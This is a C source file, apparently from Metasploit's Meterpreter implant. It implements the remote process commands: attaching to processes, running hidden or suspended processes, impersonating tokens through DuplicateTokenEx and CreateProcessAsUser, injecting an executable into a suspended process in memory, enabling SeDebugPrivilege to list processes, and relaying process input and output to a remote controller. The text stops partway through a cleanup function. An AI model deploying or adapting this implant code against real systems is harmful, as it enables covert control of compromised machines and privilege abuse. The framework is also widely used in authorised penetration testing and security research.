metasploit-payloads/c/meterpreter/source/extensions/stdapi/server/sys/process/process.c

#include "precomp.h"
#include "ps.h" // include the code for listing proceses

#ifdef _WIN32
#include "./../session.h"
#include "in-mem-exe.h" /* include skapetastic in-mem exe exec */


typedef BOOL (STDMETHODCALLTYPE FAR * LPFNCREATEENVIRONMENTBLOCK)( LPVOID  *lpEnvironment, HANDLE  hToken, BOOL bInherit );
typedef BOOL (STDMETHODCALLTYPE FAR * LPFNDESTROYENVIRONMENTBLOCK) ( LPVOID lpEnvironment );
typedef BOOL (WINAPI * LPCREATEPROCESSWITHTOKENW)( HANDLE, DWORD, LPCWSTR, LPWSTR, DWORD, LPVOID, LPCWSTR, LPSTARTUPINFOW, LPPROCESS_INFORMATION );

#else

#include "linux-in-mem-exe.h"

#endif

/*
 * Attaches to the supplied process identifier.  If no process identifier is
 * supplied, the handle for the current process is returned to the requestor.
 *
 * req: TLV_TYPE_PID - The process to attach to.
 */
DWORD request_sys_process_attach(Remote *remote, Packet *packet)
{
	Packet *response = packet_create_response(packet);
#ifdef _WIN32
	HANDLE handle = NULL;
	DWORD result = ERROR_SUCCESS;
	DWORD pid;

	// Get the process identifier that we're attaching to, if any.
	pid = packet_get_tlv_value_uint(packet, TLV_TYPE_PID);

	// No pid? Use current.
	if (!pid)
		handle = GetCurrentProcess();
	// Otherwise, attach.
	else
	{
		BOOLEAN inherit = packet_get_tlv_value_bool(packet, TLV_TYPE_INHERIT);
		DWORD permission = packet_get_tlv_value_uint(packet, TLV_TYPE_PROCESS_PERMS);

		handle = OpenProcess(permission, inherit, pid);
	}

	// If we have a handle, add it to the response
	if (handle)
		packet_add_tlv_qword(response, TLV_TYPE_HANDLE, (QWORD)handle);
	else
		result = GetLastError();
#else
	DWORD result = ERROR_NOT_SUPPORTED;
#endif

	// Send the response packet to the requestor
	packet_transmit_response(result, remote, response);

	return ERROR_SUCCESS;
}

/*
 * Closes a handle that was opened via the attach method
 *
 * req: TLV_TYPE_HANDLE - The process handle to close.
 */
DWORD request_sys_process_close(Remote *remote, Packet *packet)
{
	Packet *response = packet_create_response(packet);
	HANDLE handle;
	DWORD result = ERROR_SUCCESS;
	handle = (HANDLE)packet_get_tlv_value_qword(packet, TLV_TYPE_HANDLE);


	if (handle)
	{
#ifdef _WIN32
		if (handle != GetCurrentProcess())
			CloseHandle(handle);
#else
	// XXX ... not entirely sure this ports across.
#endif
	}
	else
		result = ERROR_INVALID_PARAMETER;

	// Send the response packet to the requestor
	packet_transmit_response(result, remote, response);

	return ERROR_SUCCESS;
}

#ifndef _WIN32

int try_open_pty(int *master, int *slave)
{
	int lmaster, lslave;
	char path[512];
	struct termios newtio;

	lmaster = open("/dev/ptmx", O_RDWR | O_NOCTTY);
	if(lmaster == -1) return -1;

	dprintf("master fd is %d", lmaster);

	if(grantpt(lmaster) == -1) {
		close(lmaster);
		return -1;
	}

	if(unlockpt(lmaster) == -1) {
		close(lmaster);
		return -1;
	}

	memset(path, 0, sizeof(path));
	if(ptsname_r(lmaster, path, sizeof(path)-2) == -1) {
		close(lmaster);
		return -1;
	}

	lslave = open(path, O_RDWR | O_NOCTTY);
	if(lslave == -1) {
		close(lmaster);
		return -1;
	}

	*master = lmaster;
	*slave = lslave;

	if(tcgetattr(lmaster, &newtio) == -1)
		// oh well
		return 0;

	// man 3 termios for more information (under linux, at least).

	newtio.c_lflag |= (ISIG|ICANON);
	newtio.c_lflag &= ~ECHO;

	// can't do anything about it if it fails
	tcsetattr(lmaster, TCSANOW, &newtio);

	return 0;
}

#endif

/*
 * Executes a process using the supplied parameters, optionally creating a
 * channel through which output is filtered.
 *
 * req: TLV_TYPE_PROCESS_PATH      - The executable to launch
 * req: TLV_TYPE_PROCESS_ARGUMENTS - The arguments to pass
 * req: TLV_TYPE_FLAGS             - The flags to execute with
 */
DWORD request_sys_process_execute(Remote *remote, Packet *packet)
{
	Packet *response = packet_create_response(packet);
	DWORD result = ERROR_SUCCESS;
	Tlv inMemoryData;
	BOOL doInMemory = FALSE;
#ifdef _WIN32
	PROCESS_INFORMATION pi;
	STARTUPINFO si;
	HANDLE in[2], out[2];
	PCHAR path, arguments, commandLine = NULL;
	DWORD flags = 0, createFlags = 0;
	BOOL inherit = FALSE;
	HANDLE token, pToken;
	char * cpDesktop = NULL;
	DWORD session = 0;
	LPVOID pEnvironment = NULL;
	LPFNCREATEENVIRONMENTBLOCK  lpfnCreateEnvironmentBlock  = NULL;
	LPFNDESTROYENVIRONMENTBLOCK lpfnDestroyEnvironmentBlock = NULL;
	HMODULE hUserEnvLib = NULL;
	ProcessChannelContext * ctx = NULL;

	dprintf( "[PROCESS] request_sys_process_execute" );

	// Initialize the startup information
	memset( &pi, 0, sizeof(PROCESS_INFORMATION) );
	memset( &si, 0, sizeof(STARTUPINFO) );

	si.cb = sizeof(STARTUPINFO);

	// Initialize pipe handles
	in[0]  = NULL;
	in[1]  = NULL;
	out[0] = NULL;
	out[1] = NULL;

	do
	{
		// No response? We suck.
		if (!response)
		{
			break;
		}

		// Get the execution arguments
		arguments = packet_get_tlv_value_string(packet, TLV_TYPE_PROCESS_ARGUMENTS);
		path = packet_get_tlv_value_string(packet, TLV_TYPE_PROCESS_PATH);
		flags = packet_get_tlv_value_uint(packet, TLV_TYPE_PROCESS_FLAGS);

		if (packet_get_tlv(packet, TLV_TYPE_VALUE_DATA, &inMemoryData) == ERROR_SUCCESS)
		{
			doInMemory = TRUE;
			createFlags |= CREATE_SUSPENDED;
		}

		if (flags & PROCESS_EXECUTE_FLAG_DESKTOP)
		{
			do
			{
				cpDesktop = (char *)malloc(512);
				if (!cpDesktop)
					break;

				memset(cpDesktop, 0, 512);

				lock_acquire(remote->lock);

				_snprintf(cpDesktop, 512, "%s\\%s", remote->curr_station_name, remote->curr_desktop_name);

				lock_release(remote->lock);

				si.lpDesktop = cpDesktop;

			} while (0);
		}

		// If the remote endpoint provided arguments, combine them with the
		// executable to produce a command line
		if (path && arguments)
		{
			size_t commandLineLength = strlen(path) + strlen(arguments) + 2;

			if (!(commandLine = (PCHAR)malloc(commandLineLength)))
			{
				result = ERROR_NOT_ENOUGH_MEMORY;
				break;
			}

			_snprintf(commandLine, commandLineLength, "%s %s", path, arguments);
		}
		else if (path)
		{
			commandLine = path;
		}
		else
		{
			result = ERROR_INVALID_PARAMETER;
			break;
		}

		// If the channelized flag is set, create a pipe for stdin/stdout/stderr
		// such that input can be directed to and from the remote endpoint
		if (flags & PROCESS_EXECUTE_FLAG_CHANNELIZED)
		{
			SECURITY_ATTRIBUTES sa = { sizeof(SECURITY_ATTRIBUTES), NULL, TRUE };
			PoolChannelOps chops;
			Channel *newChannel;

			// Allocate the channel context
			if (!(ctx = (ProcessChannelContext *)malloc(sizeof(ProcessChannelContext))))
			{
				result = ERROR_NOT_ENOUGH_MEMORY;
				break;
			}

			memset(&chops, 0, sizeof(PoolChannelOps));

			// Initialize the channel operations
			dprintf("[PROCESS] context address 0x%p", ctx);
			chops.native.context = ctx;
			chops.native.write = process_channel_write;
			chops.native.close = process_channel_close;
			chops.native.interact = process_channel_interact;
			chops.read = process_channel_read;

			// Allocate the pool channel
			if (!(newChannel = channel_create_pool(0, CHANNEL_FLAG_SYNCHRONOUS, &chops)))
			{
				result = ERROR_NOT_ENOUGH_MEMORY;
				break;
			}

			// Set the channel's type to process
			channel_set_type(newChannel, "process");

			// Allocate the stdin and stdout pipes
			if ((!CreatePipe(&in[0], &in[1], &sa, 0)) || (!CreatePipe(&out[0], &out[1], &sa, 0)))
			{
				channel_destroy(newChannel, NULL);

				newChannel = NULL;

				free(ctx);

				result = GetLastError();
				break;
			}

			// Initialize the startup info to use the pipe handles
			si.dwFlags |= STARTF_USESTDHANDLES;
			si.hStdInput = in[0];
			si.hStdOutput = out[1];
			si.hStdError = out[1];
			inherit = TRUE;
			createFlags |= CREATE_NEW_CONSOLE;

			// Set the context to have the write side of stdin and the read side
			// of stdout
			ctx->pStdin = in[1];
			ctx->pStdout = out[0];

			// Add the channel identifier to the response packet
			packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, channel_get_id(newChannel));
		}

		// If the hidden flag is set, create the process hidden
		if (flags & PROCESS_EXECUTE_FLAG_HIDDEN)
		{
			si.dwFlags |= STARTF_USESHOWWINDOW;
			si.wShowWindow = SW_HIDE;
			createFlags |= CREATE_NO_WINDOW;
		}

		// Should we create the process suspended?
		if (flags & PROCESS_EXECUTE_FLAG_SUSPENDED)
			createFlags |= CREATE_SUSPENDED;

		if (flags & PROCESS_EXECUTE_FLAG_USE_THREAD_TOKEN)
		{
			// If there is an impersonated token stored, use that one first, otherwise
			// try to grab the current thread token, then the process token
			if (remote->thread_token)
			{
				token = remote->thread_token;
				dprintf("[execute] using thread impersonation token");
			}
			else if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, TRUE, &token))
			{
				OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &token);
			}

			dprintf("[execute] token is 0x%.8x", token);

			// Duplicate to make primary token (try delegation first)
			if (!DuplicateTokenEx(token, TOKEN_ALL_ACCESS, NULL, SecurityDelegation, TokenPrimary, &pToken))
			{
				if (!DuplicateTokenEx(token, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &pToken))
				{
					result = GetLastError();
					dprintf("[execute] failed to duplicate token 0x%.8x", result);
					break;
				}
			}

			hUserEnvLib = LoadLibrary("userenv.dll");
			if (NULL != hUserEnvLib)
			{
				lpfnCreateEnvironmentBlock = (LPFNCREATEENVIRONMENTBLOCK)GetProcAddress(hUserEnvLib, "CreateEnvironmentBlock");
				lpfnDestroyEnvironmentBlock = (LPFNDESTROYENVIRONMENTBLOCK)GetProcAddress(hUserEnvLib, "DestroyEnvironmentBlock");
				if (lpfnCreateEnvironmentBlock && lpfnCreateEnvironmentBlock(&pEnvironment, pToken, FALSE))
				{
					createFlags |= CREATE_UNICODE_ENVIRONMENT;
					dprintf("[execute] created a duplicated environment block");
				}
				else
				{
					pEnvironment = NULL;
				}
			}

			// Try to execute the process with duplicated token
			if (!CreateProcessAsUser(pToken, NULL, commandLine, NULL, NULL, inherit, createFlags, pEnvironment, NULL, &si, &pi))
			{
				LPCREATEPROCESSWITHTOKENW pCreateProcessWithTokenW = NULL;
				HANDLE hAdvapi32 = NULL;
				wchar_t * wcmdline = NULL;
				wchar_t * wdesktop = NULL;
				size_t size = 0;

				result = GetLastError();

				// sf: If we hit an ERROR_PRIVILEGE_NOT_HELD failure we can fall back to CreateProcessWithTokenW but this is only
				// available on 2003/Vista/2008/7. CreateProcessAsUser() seems to be just borked on some systems IMHO.
				if (result == ERROR_PRIVILEGE_NOT_HELD)
				{
					do
					{
						hAdvapi32 = LoadLibrary("advapi32.dll");
						if (!hAdvapi32)
						{
							break;
						}

						pCreateProcessWithTokenW = (LPCREATEPROCESSWITHTOKENW)GetProcAddress(hAdvapi32, "CreateProcessWithTokenW");
						if (!pCreateProcessWithTokenW)
						{
							break;
						}

						// convert the multibyte inputs to wide strings (No CreateProcessWithTokenA available unfortunatly)...
						size = mbstowcs(NULL, commandLine, 0);
						if (size == (size_t)-1)
						{
							break;
						}

						wcmdline = (wchar_t *)malloc((size + 1) * sizeof(wchar_t));
						mbstowcs(wcmdline, commandLine, size);

						if (si.lpDesktop)
						{
							size = mbstowcs(NULL, (char *)si.lpDesktop, 0);
							if (size != (size_t)-1)
							{
								wdesktop = (wchar_t *)malloc((size + 1) * sizeof(wchar_t));
								mbstowcs(wdesktop, (char *)si.lpDesktop, size);
								si.lpDesktop = (LPSTR)wdesktop;
							}
						}

						if (!pCreateProcessWithTokenW(pToken, LOGON_NETCREDENTIALS_ONLY, NULL, wcmdline, createFlags, pEnvironment, NULL, (LPSTARTUPINFOW)&si, &pi))
						{
							result = GetLastError();
							dprintf("[execute] failed to create the new process via CreateProcessWithTokenW 0x%.8x", result);
							break;
						}

						result = ERROR_SUCCESS;

					} while (0);

					if (hAdvapi32)
					{
						FreeLibrary(hAdvapi32);
					}

					SAFE_FREE(wdesktop);
					SAFE_FREE(wcmdline);
				}
				else
				{
					dprintf("[execute] failed to create the new process via CreateProcessAsUser 0x%.8x", result);
					break;
				}
			}

			if (lpfnDestroyEnvironmentBlock && pEnvironment)
			{
				lpfnDestroyEnvironmentBlock(pEnvironment);
			}

			if (NULL != hUserEnvLib)
			{
				FreeLibrary(hUserEnvLib);
			}
		}
		else if (flags & PROCESS_EXECUTE_FLAG_SESSION)
		{
			typedef BOOL(WINAPI * WTSQUERYUSERTOKEN)(ULONG SessionId, PHANDLE phToken);
			WTSQUERYUSERTOKEN pWTSQueryUserToken = NULL;
			HANDLE hToken = NULL;
			HMODULE hWtsapi32 = NULL;
			BOOL bSuccess = FALSE;
			DWORD dwResult = ERROR_SUCCESS;

			do
			{
				// Note: wtsapi32!WTSQueryUserToken is not available on NT4 or 2000 so we dynamically resolve it.
				hWtsapi32 = LoadLibraryA("wtsapi32.dll");

				session = packet_get_tlv_value_uint(packet, TLV_TYPE_PROCESS_SESSION);

				if (session_id(GetCurrentProcessId()) == session || !hWtsapi32)
				{
					if (!CreateProcess(NULL, commandLine, NULL, NULL, inherit, createFlags, NULL, NULL, &si, &pi))
					{
						BREAK_ON_ERROR("[PROCESS] execute in self session: CreateProcess failed");
					}
				}
				else
				{
					pWTSQueryUserToken = (WTSQUERYUSERTOKEN)GetProcAddress(hWtsapi32, "WTSQueryUserToken");
					if (!pWTSQueryUserToken)
					{
						BREAK_ON_ERROR("[PROCESS] execute in session: GetProcAdress WTSQueryUserToken failed");
					}

					if (!pWTSQueryUserToken(session, &hToken))
					{
						BREAK_ON_ERROR("[PROCESS] execute in session: WTSQueryUserToken failed");
					}

					if (!CreateProcessAsUser(hToken, NULL, commandLine, NULL, NULL, inherit, createFlags, NULL, NULL, &si, &pi))
					{
						BREAK_ON_ERROR("[PROCESS] execute in session: CreateProcessAsUser failed");
					}
				}

			} while (0);

			if (hWtsapi32)
			{
				FreeLibrary(hWtsapi32);
			}

			if (hToken)
			{
				CloseHandle(hToken);
			}

			result = dwResult;

			if (result != ERROR_SUCCESS)
			{
				break;
			}
		}
		else
		{
			// Try to execute the process
			if (!CreateProcess(NULL, commandLine, NULL, NULL, inherit, createFlags, NULL, NULL, &si, &pi))
			{
				result = GetLastError();
				break;
			}
		}

		//
		// Do up the in memory exe execution if the user requested it
		//
		if (doInMemory)
		{

			//
			// Unmap the dummy executable and map in the new executable into the
			// target process
			//
			if (!MapNewExecutableRegionInProcess(pi.hProcess, pi.hThread, inMemoryData.buffer))
			{
				result = GetLastError();
				break;
			}

			//
			// Resume the thread and let it rock...
			//
			if (ResumeThread(pi.hThread) == (DWORD)-1)
			{
				result = GetLastError();
				break;
			}

		}

		// check for failure here otherwise we can get a case where we
		// failed but return a process id and this will throw off the ruby side.
		if (result == ERROR_SUCCESS)
		{
			// if we managed to successfully create a channelized process, we need to retain
			// a handle to it so that we can shut it down externally if required.
			if (flags & PROCESS_EXECUTE_FLAG_CHANNELIZED
				&& ctx != NULL)
			{
				dprintf("[PROCESS] started process 0x%x", pi.hProcess);
				ctx->pProcess = pi.hProcess;
			}

			// Add the process identifier to the response packet
			packet_add_tlv_uint(response, TLV_TYPE_PID, pi.dwProcessId);

			packet_add_tlv_qword(response, TLV_TYPE_PROCESS_HANDLE, (QWORD)pi.hProcess);

			CloseHandle(pi.hThread);
		}

	} while (0);

	// Close the read side of stdin and the write side of stdout
	if (in[0])
	{
		CloseHandle(in[0]);
	}
	if (out[1])
	{
		CloseHandle(out[1]);
	}

	// Free the command line if necessary
	if (path && arguments && commandLine)
	{
		free(commandLine);
	}

	if( cpDesktop )
	{
		free( cpDesktop );
	}
#else
	PCHAR path, arguments;;
	DWORD flags;
	char *argv[8], *command_line;
	int cl_len = 0;
	int in[2] = { -1, -1 }, out[2] = {-1, -1}; // file descriptors
	int master = -1, slave = -1;
	int devnull = -1;
	int idx, i;
	pid_t pid;
	int have_pty = -1;
	ProcessChannelContext * ctx = NULL;

	int hidden = (flags & PROCESS_EXECUTE_FLAG_HIDDEN);

	dprintf( "[PROCESS] request_sys_process_execute" );

	do {
		// Get the execution arguments
		arguments = packet_get_tlv_value_string(packet, TLV_TYPE_PROCESS_ARGUMENTS);
		path      = packet_get_tlv_value_string(packet, TLV_TYPE_PROCESS_PATH);
		flags     = packet_get_tlv_value_uint(packet, TLV_TYPE_PROCESS_FLAGS);

		dprintf("path: %s, arguments: %s\n", path ? path : "(null)", arguments ? arguments : "(null)");

		if (packet_get_tlv(packet, TLV_TYPE_VALUE_DATA, &inMemoryData) == ERROR_SUCCESS)
		{
			doInMemory = TRUE;
		}

		// how to handle a single string argument line? we don't have a lexer/parser to
		// correctly handle stuff like quotes, etc. could dumbly parse on white space to
		// build arguments for execve. revert to /bin/sh -c style execution?
		// XXX.. don't feel like messing with it atm

		idx = 0;
		if(arguments) {
			// Add one for the null, one for the space
			cl_len = strlen(path) + strlen(arguments) + 2;
			command_line = malloc(cl_len);
			memset(command_line, 0, cl_len);
			strcat(command_line, path);
			strcat(command_line, " ");
			strcat(command_line, arguments);

			argv[idx++] = "sh";
			argv[idx++] = "-c";
			argv[idx++] = command_line;
			path = "/bin/sh";
		} else {
			argv[idx++] = path;
		}
		argv[idx++] = NULL;

		//for (i = 0; i < idx; i++) {
		//	dprintf("  argv[%d] = %s", i, argv[i]);
		//}

		// If the channelized flag is set, create a pipe for stdin/stdout/stderr
		// such that input can be directed to and from the remote endpoint
		if (flags & PROCESS_EXECUTE_FLAG_CHANNELIZED)
		{
			PoolChannelOps chops;
			Channel *newChannel;

			// Allocate the channel context
			if (!(ctx = (ProcessChannelContext *)malloc(sizeof(ProcessChannelContext))))
			{
				result = ERROR_NOT_ENOUGH_MEMORY;
				break;
			}

			memset(&chops, 0, sizeof(PoolChannelOps));

			// Initialize the channel operations
			dprintf( "[PROCESS] context address 0x%p", ctx );
			chops.native.context  = ctx;
			chops.native.write    = process_channel_write;
			chops.native.close    = process_channel_close;
			chops.native.interact = process_channel_interact;
			chops.read            = process_channel_read;

			// Allocate the pool channel
			if (!(newChannel = channel_create_pool(0, CHANNEL_FLAG_SYNCHRONOUS, &chops)))
			{
				result = ERROR_NOT_ENOUGH_MEMORY;
				break;
			}

			// Set the channel's type to process
			channel_set_type(newChannel, "process");

			have_pty = !try_open_pty(&master, &slave);

			if(have_pty)
			{
				ctx->pStdin = master;
				ctx->pStdout = master;
			} else {
				// fall back to pipes if there is no tty
				// Allocate the stdin and stdout pipes
				if(pipe(&in) || pipe(&out))
				{
					channel_destroy(newChannel, NULL);

					newChannel = NULL;

					free(ctx);

					result = GetLastError();
					break;
				}

				// Set the context to have the write side of stdin and the read side
				// of stdout
				ctx->pStdin   = in[1];
				ctx->pStdout  = out[0];
			}

			fcntl(ctx->pStdin, F_SETFD, fcntl(ctx->pStdin, F_GETFD) | O_NONBLOCK);
			fcntl(ctx->pStdout, F_SETFD, fcntl(ctx->pStdout, F_GETFD) | O_NONBLOCK);

			// Add the channel identifier to the response packet
			packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID,channel_get_id(newChannel));
		} else {
			// need to /dev/null it all
			if( (devnull = open("/dev/null", O_RDONLY) ) == -1) {
				// XXX This is possible, due to chroots etc. We could close
				// fd 0/1/2 and hope the program isn't buggy.

				result = GetLastError();
				break;
			}
		}

		/*
		 * We can create "hidden" processes via clone() instead of fork()
		 * clone(child_stack, flags = CLONE_THREAD) should do the trick. Probably worth while as well.
		 * memory / fd's etc won't be shared. linux specific syscall though.
		 */

		pid = fork();
		switch(pid) {

		case -1:
			result = errno;
			break;

		case 0:
			if (flags & PROCESS_EXECUTE_FLAG_CHANNELIZED)
			{
				if(have_pty)
				{
					dup2(slave, 0);
					dup2(slave, 1);
					dup2(slave, 2);
				} else {
					dup2(in[0], 0);
					dup2(out[1], 1);
					dup2(out[1], 2);
				}
			} else {
				dup2(devnull, 0);
				dup2(devnull, 1);
				dup2(devnull, 2);
			}
			for(i = 3; i < 1024; i++) close(i);

			if(doInMemory)
			{
				int found;
				Elf32_Ehdr *ehdr = (Elf32_Ehdr *)inMemoryData.buffer;
				Elf32_Phdr *phdr = (Elf32_Phdr *)(inMemoryData.buffer + ehdr->e_phoff);

				for(found = 0, i = 0; i < ehdr->e_phnum; i++, phdr++) {
					if(phdr->p_type == PT_LOAD) {
						found = 1;
						break;
					}
				}

				if(! found) return; // XXX, not too much we can do in this case ?

				perform_in_mem_exe(argv, environ, inMemoryData.buffer, inMemoryData.header.length, phdr->p_vaddr & ~4095, ehdr->e_entry);
			} else {
				execve(path, argv, environ);
			}

			dprintf("failed to execute program, exit(EXIT_FAILURE) time");
			dprintf("doInMemory = %d, hidden = %d", doInMemory, hidden);

			exit(EXIT_FAILURE);
		default:
			dprintf("child pid is %d\n", pid);
			packet_add_tlv_uint(response, TLV_TYPE_PID, (DWORD)pid);
			packet_add_tlv_qword(response, TLV_TYPE_PROCESS_HANDLE, (QWORD)pid);
			if (flags & PROCESS_EXECUTE_FLAG_CHANNELIZED) {
				if(have_pty) {
					dprintf("child channelized\n");
					close(slave);
					ctx->pProcess = (HANDLE)pid;
				} else {
					close(in[0]);
					close(out[1]);
					close(out[2]);
				}
			}
			break;
		}
	} while(0);
#endif

	packet_transmit_response(result, remote, response);

	return ERROR_SUCCESS;
}

/*
 * Kills one or more supplied processes
 *
 * req: TLV_TYPE_PID [n]
 */
DWORD request_sys_process_kill(Remote *remote, Packet *packet)
{
	Packet *response = packet_create_response(packet);
	DWORD result = ERROR_SUCCESS;
	Tlv pidTlv;
	DWORD index = 0;

	while ((packet_enum_tlv(packet, index++, TLV_TYPE_PID,
			&pidTlv) == ERROR_SUCCESS) &&
			(pidTlv.header.length >= sizeof(DWORD)))
	{
		DWORD pid = ntohl(*(LPDWORD)pidTlv.buffer);
		HANDLE h = NULL;

#ifdef _WIN32
		// Try to attach to the process
		if (!(h = OpenProcess(PROCESS_TERMINATE, FALSE, pid)))
		{
			result = GetLastError();
			break;
		}

		if (!TerminateProcess(h, 0))
			result = GetLastError();

		CloseHandle(h);
#else
		kill(pid, 9);
#endif
	}

	// Transmit the response
	packet_transmit_response(result, remote, response);

	return ERROR_SUCCESS;
}

/*
 * Gets the list of active processes (including their PID, name, user, arch and path)
 * and sends the information back to the requestor. See ps.c for the guts of this.
 */
DWORD request_sys_process_get_processes( Remote * remote, Packet * packet )
{

#ifdef _WIN32
	Packet * response = NULL;
	HANDLE hToken     = NULL;
	DWORD result      = ERROR_SUCCESS;

	do
	{
		response = packet_create_response( packet );
		if( !response )
			break;

		// If we can, get SeDebugPrivilege...
		if( OpenProcessToken( GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken) )
		{
			TOKEN_PRIVILEGES priv = {0};

			priv.PrivilegeCount           = 1;
			priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

			if( LookupPrivilegeValue( NULL, SE_DEBUG_NAME, &priv.Privileges[0].Luid ) )
				AdjustTokenPrivileges( hToken, FALSE, &priv, 0, NULL, NULL );

			CloseHandle( hToken );
		}

		// First we will try to get a process list via the toolhelp API. This method gives us the most information
		// on all processes, including processes we cant actually open and all x64/x86 processes on x64 systems.
		// However NT4 does not have the toolhelp API (but Win98 did!?!).
		result = ps_list_via_toolhelp( response );
		if( result != ERROR_SUCCESS )
		{
			// Second attempt is to use the PSAPI functions which may work on NT4 if the PSAPI patch has been applied.
			result = ps_list_via_psapi( response );
			if( result != ERROR_SUCCESS )
			{
				// Third method is to brute force the process list (and extract info from PEB) if all other methods have failed.
				result = ps_list_via_brute( response );
			}
		}

		packet_transmit_response( result, remote, response );

	} while( 0 );
#else
	DWORD result = ERROR_NOT_SUPPORTED;
	Packet * response = packet_create_response( packet );
	if (response) {
		result = ps_list_linux( response );
		packet_transmit_response( result, remote, response );
	}
#endif

	return result;
}

/*
 * Handles the getpid request
 */
DWORD request_sys_process_getpid(Remote *remote, Packet *packet)
{
	Packet *response = packet_create_response(packet);

#ifdef _WIN32
	packet_add_tlv_uint(response, TLV_TYPE_PID, GetCurrentProcessId());
#else
	packet_add_tlv_uint(response, TLV_TYPE_PID, getpid());
#endif

	packet_transmit_response(ERROR_SUCCESS, remote, response);

	return ERROR_SUCCESS;
}

/*
 * Returns information about the supplied process handle.
 *
 * req: TLV_TYPE_HANDLE - The handle to gather information from.
 */
DWORD request_sys_process_get_info(Remote *remote, Packet *packet)
{
	Packet *response = packet_create_response(packet);


#ifdef _WIN32
	BOOL (WINAPI *enumProcessModules)(HANDLE p, HMODULE *mod, DWORD cb,
			LPDWORD needed);
	DWORD (WINAPI *getModuleBaseName)(HANDLE p, HMODULE mod, LPTSTR base,
			DWORD baseSize);
	DWORD (WINAPI *getModuleFileNameEx)(HANDLE p, HMODULE mod, LPTSTR path,
			DWORD pathSize);

	HMODULE mod;
	HANDLE psapi = NULL;
	HANDLE handle;
	DWORD result = ERROR_SUCCESS;
	DWORD needed;
	CHAR path[1024], name[256];

	handle = (HANDLE)packet_get_tlv_value_qword(packet, TLV_TYPE_HANDLE);

	do
	{
		// Valid response?
		if (!response)
		{
			result = ERROR_NOT_ENOUGH_MEMORY;
			break;
		}

		// Valid parameters?
		if (!handle)
		{
			result = ERROR_INVALID_PARAMETER;
			break;
		}

		// Open the process API
		if (!(psapi = LoadLibrary("psapi")))
		{
			result = GetLastError();
			break;
		}

		// Try to resolve the necessary symbols
		if ((!((LPVOID)enumProcessModules =
				(LPVOID)GetProcAddress(psapi, "EnumProcessModules"))) ||
		    (!((LPVOID)getModuleBaseName =
				(LPVOID)GetProcAddress(psapi, "GetModuleBaseNameA"))) ||
		    (!((LPVOID)getModuleFileNameEx =
				(LPVOID)GetProcAddress(psapi, "GetModuleFileNameExA"))))
		{
			result = GetLastError();
			break;
		}

		memset(name, 0, sizeof(name));
		memset(path, 0, sizeof(path));

		// Enumerate the first module in the process and get its base name
		if ((!enumProcessModules(handle, &mod, sizeof(mod), &needed) ||
			 (getModuleBaseName(handle, mod, name, sizeof(name) - 1) == 0)))
		{
			result = GetLastError();
			break;
		}

		// Try to get the process' file name
		getModuleFileNameEx(handle, mod, path, sizeof(path) - 1);

		// Set the process' information on the response
		packet_add_tlv_string(response, TLV_TYPE_PROCESS_NAME, name);
		packet_add_tlv_string(response, TLV_TYPE_PROCESS_PATH, path);

	} while (0);

	// Transmit the response
	packet_transmit_response(ERROR_SUCCESS, remote, response);

	// Close the psapi library and clean up
	if (psapi)
		FreeLibrary(psapi);
#else
	packet_transmit_response(ERROR_NOT_SUPPORTED, remote, response);
#endif

	return ERROR_SUCCESS;
}

/************************
 * Process DIO handlers *
 ************************/

/*
 * Reads directly from the output handle of the process
 *
 * FIXME: can-block
 */
DWORD process_channel_read(Channel *channel, Packet *request,
	LPVOID context, LPVOID buffer, DWORD bufferSize, LPDWORD bytesRead)
{
	DWORD result = ERROR_SUCCESS;
	ProcessChannelContext *ctx = (ProcessChannelContext *)context;

	dprintf("[PROCESS] process_channel_read. channel=0x%08X, ctx=0x%08X", channel, ctx);

	if (ctx == NULL)
	{
		return result;
	}
#ifdef _WIN32
	if (!ReadFile(ctx->pStdout, buffer, bufferSize, bytesRead, NULL))
		result = GetLastError();
#else
	if ( (*bytesRead = read( ctx->pStdout, buffer, bufferSize )) < 0 ) {
		result = GetLastError();
		// Always return zero bytes read on error
		*bytesRead = 0;
	}
#endif
	return result;
}

/*
 * Writes data from the remote half of the channel to the process's standard
 * input handle
 */
DWORD process_channel_write( Channel *channel, Packet *request,
		LPVOID context, LPVOID buffer, DWORD bufferSize, LPDWORD bytesWritten )
{
	ProcessChannelContext *ctx = (ProcessChannelContext *)context;
	DWORD result = ERROR_SUCCESS;

	dprintf( "[PROCESS] process_channel_write. channel=0x%08X, ctx=0x%08X", channel, ctx );

	if (ctx == NULL)
	{
		return result;
	}
#ifdef _WIN32
	if ( !WriteFile( ctx->pStdin, buffer, bufferSize, bytesWritten, NULL ) )
		result = GetLastError();

#else
	if( (*bytesWritten = write( ctx->pStdin, buffer, bufferSize )) < 0 ) {
		result = GetLastError();
	}
#endif
	return result;
}

/*
 * Closes the channels that were opened to the process.
 */
DWORD process_channel_close( Channel *channel, Packet *request, LPVOID context )
{
	DWORD result = ERROR_SUCCESS;
	ProcessChannelContext *ctx = (ProcessChannelContext *)context;

	dprintf( "[PROCESS] process_channel_close. channel=0x%08X, ctx=0x%08X", channel, ctx );

	if (ctx == NULL)
	{
		return result;
	}
	if ( ctx->pProcess != NULL ) {
		dprintf( "[PROCESS] channel has an attached process, closing via scheduler signal. channel=0x%08X, ctx=0x%08X", channel, ctx );
		scheduler_signal_waitable( ctx->pStdout, Stop );
	} else {
#ifdef _WIN32
		CloseHandle( ctx->pStdin );
		CloseHandle( ctx->pStdout );
#else
		close( ctx->pStdin );
		close( ctx->pStdout );
#endif

		free( ctx );
	}
	return result;
}

DWORD process_channel_interact_destroy( HANDLE waitable, LPVOID entryContext, LPVOID threadContext )
{
	ProcessChannelContext *ctx = (ProcessChannelContext *)threadContext;
	DWORD dwResult = ERROR_SUCCESS;
	Channel *channel = (Channel *)entryContext;

	dprintf( "[PROCESS] terminating context 0x%p", ctx );

	if (ctx == NULL)
	{
		return dwResult;
	}
#ifdef _WIN32

	CloseHandle( ctx->pStdin );
	CloseHandle( ctx->pStdout );

	if( ctx->pProcess ) {
		dprintf( "[PROCESS] terminating process 0x%x", ctx->pProcess );
		TerminateProcess( ctx->pProcess, 0 );
	}
#else
	close( ctx->pStdin );
	close( ctx->pStdout );

	dprintf( "[PROCESS] pid %u", ctx->pProcess );
	if( ctx->pProcess ) {
